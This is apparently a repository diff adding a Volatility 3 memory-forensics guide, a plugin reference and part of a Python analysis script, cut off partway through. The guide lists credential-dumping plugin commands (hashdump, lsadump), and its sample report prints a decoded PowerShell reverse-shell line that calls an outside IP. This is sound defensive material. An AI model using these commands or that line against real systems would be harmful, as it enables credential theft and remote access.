|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,313 @@
|
||||
---
|
||||
name: analyzing-memory-dumps-with-volatility
|
||||
description: 'Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes,
|
||||
injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory
|
||||
forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection
|
||||
detection, or memory-resident malware investigation.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- memory-forensics
|
||||
- Volatility
|
||||
- RAM-analysis
|
||||
- incident-response
|
||||
mitre_attack:
|
||||
- T1055
|
||||
- T1003
|
||||
- T1059
|
||||
- T1620
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
---
|
||||
|
||||
# Analyzing Memory Dumps with Volatility
|
||||
|
||||
## When to Use
|
||||
|
||||
- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
|
||||
- Detecting fileless malware that exists only in memory without persistent disk artifacts
|
||||
- Extracting encryption keys, passwords, or decrypted configuration from process memory
|
||||
- Identifying process injection, DLL injection, or process hollowing in a compromised system
|
||||
- Analyzing rootkit activity that hides from standard disk-based forensic tools
|
||||
|
||||
**Do not use** for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Volatility 3 installed (`pip install volatility3`) with symbol tables for target OS
|
||||
- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
|
||||
- Knowledge of the source OS version for correct profile/symbol selection
|
||||
- Sufficient disk space (memory dumps can be 4-64 GB)
|
||||
- YARA rules for scanning memory for known malware signatures
|
||||
- Strings utility for extracting readable strings from memory regions
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Identify the Memory Dump Profile
|
||||
|
||||
Determine the operating system and version from the memory dump:
|
||||
|
||||
```bash
|
||||
# Volatility 3: Automatic OS detection
|
||||
vol3 -f memory.dmp windows.info
|
||||
|
||||
# List available plugins
|
||||
vol3 -f memory.dmp --help
|
||||
|
||||
# If symbols are needed, download from:
|
||||
# https://downloads.volatilityfoundation.org/volatility3/symbols/
|
||||
|
||||
# For Volatility 2 (legacy):
|
||||
vol2 -f memory.dmp imageinfo
|
||||
vol2 -f memory.dmp kdbgscan
|
||||
```
|
||||
|
||||
### Step 2: Enumerate Running Processes
|
||||
|
||||
List all processes and identify suspicious entries:
|
||||
|
||||
```bash
|
||||
# List all processes
|
||||
vol3 -f memory.dmp windows.pslist
|
||||
|
||||
# Process tree (parent-child relationships)
|
||||
vol3 -f memory.dmp windows.pstree
|
||||
|
||||
# Scan for hidden/unlinked processes (rootkit detection)
|
||||
vol3 -f memory.dmp windows.psscan
|
||||
|
||||
# Compare pslist vs psscan to find hidden processes
|
||||
# Processes in psscan but not pslist are potentially hidden by rootkits
|
||||
|
||||
# Check for process hollowing
|
||||
vol3 -f memory.dmp windows.pslist --dump
|
||||
# Then verify the dumped EXE matches the expected binary on disk
|
||||
```
|
||||
|
||||
```
|
||||
Suspicious Process Indicators:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
- svchost.exe not spawned by services.exe (wrong parent)
|
||||
- csrss.exe/lsass.exe with unusual parent process
|
||||
- Multiple instances of lsass.exe (should be only one)
|
||||
- Processes with misspelled names (scvhost.exe, lssas.exe)
|
||||
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
|
||||
- Processes running from unusual paths (%TEMP%, %APPDATA%)
|
||||
- Processes with no parent (orphaned - parent terminated)
|
||||
```
|
||||
|
||||
### Step 3: Detect Malicious Code Injection
|
||||
|
||||
Scan for injected code and process hollowing:
|
||||
|
||||
```bash
|
||||
# Detect injected code in processes (malfind)
|
||||
vol3 -f memory.dmp windows.malfind
|
||||
|
||||
# Malfind looks for:
|
||||
# - Memory regions with PAGE_EXECUTE_READWRITE protection
|
||||
# - Memory regions containing PE headers (MZ/PE signature)
|
||||
# - VAD (Virtual Address Descriptor) anomalies
|
||||
|
||||
# Dump injected memory regions for analysis
|
||||
vol3 -f memory.dmp windows.malfind --dump --pid 2184
|
||||
|
||||
# List loaded DLLs per process
|
||||
vol3 -f memory.dmp windows.dlllist --pid 2184
|
||||
|
||||
# Detect hollowed processes by comparing mapped image to disk
|
||||
vol3 -f memory.dmp windows.hollowfind
|
||||
|
||||
# Scan for loaded drivers (potential rootkit drivers)
|
||||
vol3 -f memory.dmp windows.driverscan
|
||||
|
||||
# List kernel modules
|
||||
vol3 -f memory.dmp windows.modules
|
||||
```
|
||||
|
||||
### Step 4: Analyze Network Connections
|
||||
|
||||
Extract active and closed network connections:
|
||||
|
||||
```bash
|
||||
# List all network connections (active and listening)
|
||||
vol3 -f memory.dmp windows.netscan
|
||||
|
||||
# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
|
||||
|
||||
# Filter for established connections to external IPs
|
||||
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
|
||||
|
||||
# For older Windows (XP/2003):
|
||||
vol3 -f memory.dmp windows.netstat
|
||||
|
||||
# Cross-reference PIDs with process list
|
||||
# Suspicious: svchost.exe connected to external IP on non-standard port
|
||||
# Suspicious: notepad.exe or calc.exe with network connections
|
||||
```
|
||||
|
||||
### Step 5: Extract Artifacts and Credentials
|
||||
|
||||
Recover sensitive data from memory:
|
||||
|
||||
```bash
|
||||
# Dump process memory for a specific PID
|
||||
vol3 -f memory.dmp windows.memmap --dump --pid 2184
|
||||
|
||||
# Extract command-line history
|
||||
vol3 -f memory.dmp windows.cmdline
|
||||
|
||||
# Extract environment variables
|
||||
vol3 -f memory.dmp windows.envars --pid 2184
|
||||
|
||||
# Registry analysis (extract Run keys for persistence)
|
||||
vol3 -f memory.dmp windows.registry.printkey \
|
||||
--key "Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
|
||||
# Extract hashed/cached credentials
|
||||
vol3 -f memory.dmp windows.hashdump
|
||||
vol3 -f memory.dmp windows.cachedump
|
||||
vol3 -f memory.dmp windows.lsadump
|
||||
|
||||
# Extract clipboard contents
|
||||
vol3 -f memory.dmp windows.clipboard
|
||||
|
||||
# File extraction from memory
|
||||
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
|
||||
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
|
||||
```
|
||||
|
||||
### Step 6: Scan Memory with YARA Rules
|
||||
|
||||
Apply YARA signatures to detect known malware in memory:
|
||||
|
||||
```bash
|
||||
# Scan entire memory dump with YARA rules
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
|
||||
|
||||
# Scan specific process memory
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
|
||||
|
||||
# Built-in YARA scan for common patterns
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
|
||||
|
||||
# Scan for encryption key material
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
|
||||
```
|
||||
|
||||
### Step 7: Timeline and Report Generation
|
||||
|
||||
Create an analysis timeline and compile findings:
|
||||
|
||||
```bash
|
||||
# Generate comprehensive timeline
|
||||
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
|
||||
|
||||
# Timeline includes:
|
||||
# - Process creation/exit times
|
||||
# - Network connection timestamps
|
||||
# - Registry modification times
|
||||
# - File access times
|
||||
|
||||
# Export process list for reporting
|
||||
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
|
||||
|
||||
# Export network connections
|
||||
vol3 -f memory.dmp windows.netscan --output csv > network.csv
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Memory Forensics** | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |
|
||||
| **Process Hollowing** | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |
|
||||
| **Malfind** | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |
|
||||
| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |
|
||||
| **EPROCESS** | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |
|
||||
| **Pool Tag Scanning** | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |
|
||||
| **Fileless Malware** | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Volatility 3**: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
|
||||
- **WinPmem**: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
|
||||
- **LiME (Linux Memory Extractor)**: Loadable kernel module for capturing Linux system memory dumps
|
||||
- **Rekall**: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
|
||||
- **MemProcFS**: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Detecting Fileless Malware After EDR Alert
|
||||
|
||||
**Context**: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.
|
||||
|
||||
**Approach**:
|
||||
1. Run `windows.pstree` to identify the process chain (which process spawned PowerShell)
|
||||
2. Run `windows.malfind` to detect injected code in running processes
|
||||
3. Dump the suspicious process memory and extract strings for C2 URLs
|
||||
4. Run `windows.netscan` to identify network connections from the compromised processes
|
||||
5. Run `windows.cmdline` to see what commands PowerShell executed
|
||||
6. Scan with YARA rules for known malware families in the dumped process memory
|
||||
7. Extract credentials with `hashdump` and `lsadump` to assess lateral movement risk
|
||||
|
||||
**Pitfalls**:
|
||||
- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
|
||||
- Not comparing `pslist` vs `psscan` output (missing rootkit-hidden processes)
|
||||
- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
|
||||
- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
MEMORY FORENSICS ANALYSIS REPORT
|
||||
===================================
|
||||
Dump File: memory.dmp
|
||||
Dump Size: 16 GB
|
||||
OS Version: Windows 10 21H2 (Build 19044)
|
||||
Capture Tool: WinPmem 4.0
|
||||
Capture Time: 2025-09-15 14:35:00 UTC
|
||||
|
||||
SUSPICIOUS PROCESSES
|
||||
PID PPID Name Path Anomaly
|
||||
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
|
||||
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
|
||||
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
|
||||
|
||||
CODE INJECTION DETECTED (malfind)
|
||||
PID 852 (explorer.exe):
|
||||
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
|
||||
Header: MZ (embedded PE detected)
|
||||
SHA-256 of dump: abc123def456...
|
||||
|
||||
NETWORK CONNECTIONS
|
||||
PID Process Local Foreign State
|
||||
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
|
||||
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
|
||||
|
||||
EXTRACTED CREDENTIALS
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
|
||||
COMMAND LINE HISTORY
|
||||
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
|
||||
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
|
||||
|
||||
YARA MATCHES
|
||||
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
|
||||
|
||||
TIMELINE
|
||||
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
|
||||
14:10:05 Network connection to 185.220.101.42:443 established
|
||||
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
|
||||
14:15:00 Code injection into explorer.exe (PID 852) detected
|
||||
14:20:00 Credential dump from LSASS process
|
||||
```
|
||||
@@ -0,0 +1,99 @@
|
||||
# API Reference: Volatility 3 Memory Forensics
|
||||
|
||||
## Core Syntax
|
||||
```bash
|
||||
vol3 -f <memory_dump> <plugin> [options]
|
||||
vol3 -f memory.dmp --help # List all plugins
|
||||
vol3 -f memory.dmp <plugin> --help # Plugin-specific help
|
||||
```
|
||||
|
||||
## Windows Plugins
|
||||
|
||||
### Process Analysis
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.pslist` | List active processes |
|
||||
| `windows.pstree` | Process tree (parent-child) |
|
||||
| `windows.psscan` | Pool-tag scan (finds hidden processes) |
|
||||
| `windows.cmdline` | Process command-line arguments |
|
||||
| `windows.envars` | Process environment variables |
|
||||
| `windows.handles` | Process handle table |
|
||||
|
||||
### Code Injection Detection
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.malfind` | Detect injected code (RWX memory + PE headers) |
|
||||
| `windows.hollowfind` | Detect process hollowing |
|
||||
| `windows.dlllist` | List loaded DLLs per process |
|
||||
| `windows.ldrmodules` | Detect unlinked DLLs |
|
||||
|
||||
### Network
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.netscan` | List network connections and listeners |
|
||||
| `windows.netstat` | Network connections (older Windows) |
|
||||
|
||||
### Kernel / Rootkit
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.ssdt` | System Service Descriptor Table hooks |
|
||||
| `windows.callbacks` | Kernel callback registrations |
|
||||
| `windows.driverscan` | Scan for driver objects |
|
||||
| `windows.modules` | Loaded kernel modules |
|
||||
| `windows.idt` | Interrupt Descriptor Table |
|
||||
|
||||
### Credentials
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.hashdump` | Dump SAM password hashes |
|
||||
| `windows.cachedump` | Dump cached domain credentials |
|
||||
| `windows.lsadump` | Dump LSA secrets |
|
||||
|
||||
### Registry
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.registry.printkey` | Print registry key values |
|
||||
| `windows.registry.hivelist` | List registry hives |
|
||||
| `windows.registry.certificates` | Extract certificates |
|
||||
|
||||
### File System
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.filescan` | Scan for file objects |
|
||||
| `windows.dumpfiles` | Extract files from memory |
|
||||
| `windows.memmap` | Dump process memory |
|
||||
|
||||
### YARA Scanning
|
||||
```bash
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar --pid 2184
|
||||
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule Test { strings: $s = \"cmd.exe\" condition: $s }"
|
||||
```
|
||||
|
||||
### Timeline
|
||||
```bash
|
||||
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
|
||||
```
|
||||
|
||||
## Output Options
|
||||
```bash
|
||||
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
|
||||
vol3 -f memory.dmp windows.pslist --output json > processes.json
|
||||
vol3 -f memory.dmp windows.malfind --dump --pid 2184
|
||||
```
|
||||
|
||||
## Memory Acquisition Tools
|
||||
|
||||
| Tool | Platform | Command |
|
||||
|------|----------|---------|
|
||||
| WinPmem | Windows | `winpmem_mini_x64.exe memdump.raw` |
|
||||
| DumpIt | Windows | `DumpIt.exe` (interactive) |
|
||||
| LiME | Linux | `insmod lime.ko "path=/tmp/mem.lime format=lime"` |
|
||||
| AVML | Linux | `avml /tmp/memory.lime` |
|
||||
|
||||
## Symbols
|
||||
```bash
|
||||
# Download symbol packs
|
||||
# https://downloads.volatilityfoundation.org/volatility3/symbols/
|
||||
# Place in: volatility3/symbols/
|
||||
```
|
||||
@@ -0,0 +1,243 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Memory forensics agent using Volatility 3 for malware detection in RAM dumps."""
|
||||
|
||||
import shlex
|
||||
import subprocess
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
def run_vol3(memory_dump, plugin, extra_args=""):
|
||||
"""Execute a Volatility 3 plugin and return output."""
|
||||
cmd = ["vol3", "-f", memory_dump, plugin]
|
||||
if extra_args:
|
||||
cmd.extend(shlex.split(extra_args))
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
|
||||
return result.stdout.strip(), result.stderr.strip(), result.returncode
|
||||
|
||||
|
||||
def get_os_info(memory_dump):
|
||||
"""Identify the OS from the memory dump."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.info")
|
||||
if rc == 0:
|
||||
return {"os": "windows", "info": stdout}
|
||||
stdout, _, rc = run_vol3(memory_dump, "linux.info")
|
||||
if rc == 0:
|
||||
return {"os": "linux", "info": stdout}
|
||||
return {"os": "unknown", "info": ""}
|
||||
|
||||
|
||||
def list_processes(memory_dump):
|
||||
"""List all running processes using pslist."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.pslist")
|
||||
processes = []
|
||||
if rc == 0:
|
||||
for line in stdout.splitlines()[2:]:
|
||||
parts = line.split()
|
||||
if len(parts) >= 6 and parts[0].isdigit():
|
||||
processes.append({
|
||||
"pid": int(parts[0]),
|
||||
"ppid": int(parts[1]),
|
||||
"name": parts[4] if len(parts) > 4 else "",
|
||||
"offset": parts[0] if not parts[0].isdigit() else "",
|
||||
})
|
||||
return processes
|
||||
|
||||
|
||||
def scan_hidden_processes(memory_dump):
|
||||
"""Scan for hidden/unlinked processes using psscan."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.psscan")
|
||||
processes = []
|
||||
if rc == 0:
|
||||
for line in stdout.splitlines()[2:]:
|
||||
parts = line.split()
|
||||
if len(parts) >= 5 and parts[1].isdigit():
|
||||
processes.append({
|
||||
"offset": parts[0],
|
||||
"pid": int(parts[1]),
|
||||
"ppid": int(parts[2]) if parts[2].isdigit() else 0,
|
||||
"name": parts[4] if len(parts) > 4 else "",
|
||||
})
|
||||
return processes
|
||||
|
||||
|
||||
def find_hidden_processes(pslist_procs, psscan_procs):
|
||||
"""Compare pslist and psscan to identify DKOM-hidden processes."""
|
||||
pslist_pids = {p["pid"] for p in pslist_procs}
|
||||
hidden = [p for p in psscan_procs if p["pid"] not in pslist_pids and p["pid"] > 4]
|
||||
return hidden
|
||||
|
||||
|
||||
def detect_code_injection(memory_dump, pid=None):
|
||||
"""Detect injected code using malfind plugin."""
|
||||
extra = f"--pid {pid}" if pid else ""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.malfind", extra)
|
||||
injections = []
|
||||
if rc == 0:
|
||||
current = {}
|
||||
for line in stdout.splitlines():
|
||||
if "PID" in line and "Process" in line:
|
||||
continue
|
||||
parts = line.split()
|
||||
if len(parts) >= 4 and parts[0].isdigit():
|
||||
if current:
|
||||
injections.append(current)
|
||||
current = {
|
||||
"pid": int(parts[0]),
|
||||
"process": parts[1] if len(parts) > 1 else "",
|
||||
"address": parts[2] if len(parts) > 2 else "",
|
||||
"protection": parts[3] if len(parts) > 3 else "",
|
||||
}
|
||||
elif current and line.strip():
|
||||
current["data_preview"] = current.get("data_preview", "") + line.strip() + " "
|
||||
if current:
|
||||
injections.append(current)
|
||||
return injections
|
||||
|
||||
|
||||
def get_network_connections(memory_dump):
|
||||
"""Extract network connections using netscan."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.netscan")
|
||||
connections = []
|
||||
if rc == 0:
|
||||
for line in stdout.splitlines()[2:]:
|
||||
parts = line.split()
|
||||
if len(parts) >= 7:
|
||||
connections.append({
|
||||
"protocol": parts[1] if len(parts) > 1 else "",
|
||||
"local_addr": parts[2] if len(parts) > 2 else "",
|
||||
"local_port": parts[3] if len(parts) > 3 else "",
|
||||
"foreign_addr": parts[4] if len(parts) > 4 else "",
|
||||
"foreign_port": parts[5] if len(parts) > 5 else "",
|
||||
"state": parts[6] if len(parts) > 6 else "",
|
||||
"pid": parts[7] if len(parts) > 7 else "",
|
||||
"owner": parts[8] if len(parts) > 8 else "",
|
||||
})
|
||||
return connections
|
||||
|
||||
|
||||
def get_command_lines(memory_dump):
|
||||
"""Extract process command lines."""
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.cmdline")
|
||||
cmdlines = []
|
||||
if rc == 0:
|
||||
for line in stdout.splitlines()[2:]:
|
||||
parts = line.split(None, 2)
|
||||
if len(parts) >= 3 and parts[0].isdigit():
|
||||
cmdlines.append({
|
||||
"pid": int(parts[0]),
|
||||
"process": parts[1],
|
||||
"cmdline": parts[2],
|
||||
})
|
